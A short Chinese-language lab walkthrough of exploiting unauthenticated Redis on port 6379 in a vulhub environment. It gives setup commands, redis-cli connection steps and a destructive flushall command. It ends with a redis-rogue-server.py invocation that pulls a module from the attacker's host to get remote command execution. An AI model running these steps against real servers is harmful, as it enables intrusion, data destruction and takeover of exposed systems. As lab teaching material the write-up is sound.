一、漏洞信息
redis默认情况下会绑定在本地6379端口,如果没有进行采用相关的策略,就会将redis服务暴露到公网上,如果再没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问到目标服务器的情况下未授权访问redis以及读取redis的数据。
二、漏洞利用条件
1.redis绑定在6379端口且没有添加防火墙规则避免其他非信任ip访问等安全策略
2.没有设置密码认证,可以免密码远程登陆redis服务
三、环境搭建
这里使用vulhub里面的redis/4-unacc靶场
cd /vulhub/redis/4-unacc #进入靶场所在目录
docker-compose up -d #一键启动容器环境
docker ps #查看是否开启容器
四、漏洞复现
1.在kali上安装redis程序进行服务的链接
apt-get install redis #安装redis服务
redis常用命令:
1.查看信息:info
2.删除所有数据库内容:flushall
3.刷新数据库:flushdb
4.保存:save
5.设置路径等配置:config set dir dirpath
如果提示无法安装,可能需要更新以下kali源,使用以下命令:
apt-get update
2.使用kali对redis服务进行远程链接
redis-cli -h ip -p 6379 #通过远程链接至redis服务
如果可以直接执行命令且不需要认证说明存在未授权访问漏洞
3.使用脚本工具获取目标的命令执行环境
python3 redis-rogue-server.py --rhost ip --lhost ip
成功获取到目标主机的命令执行环境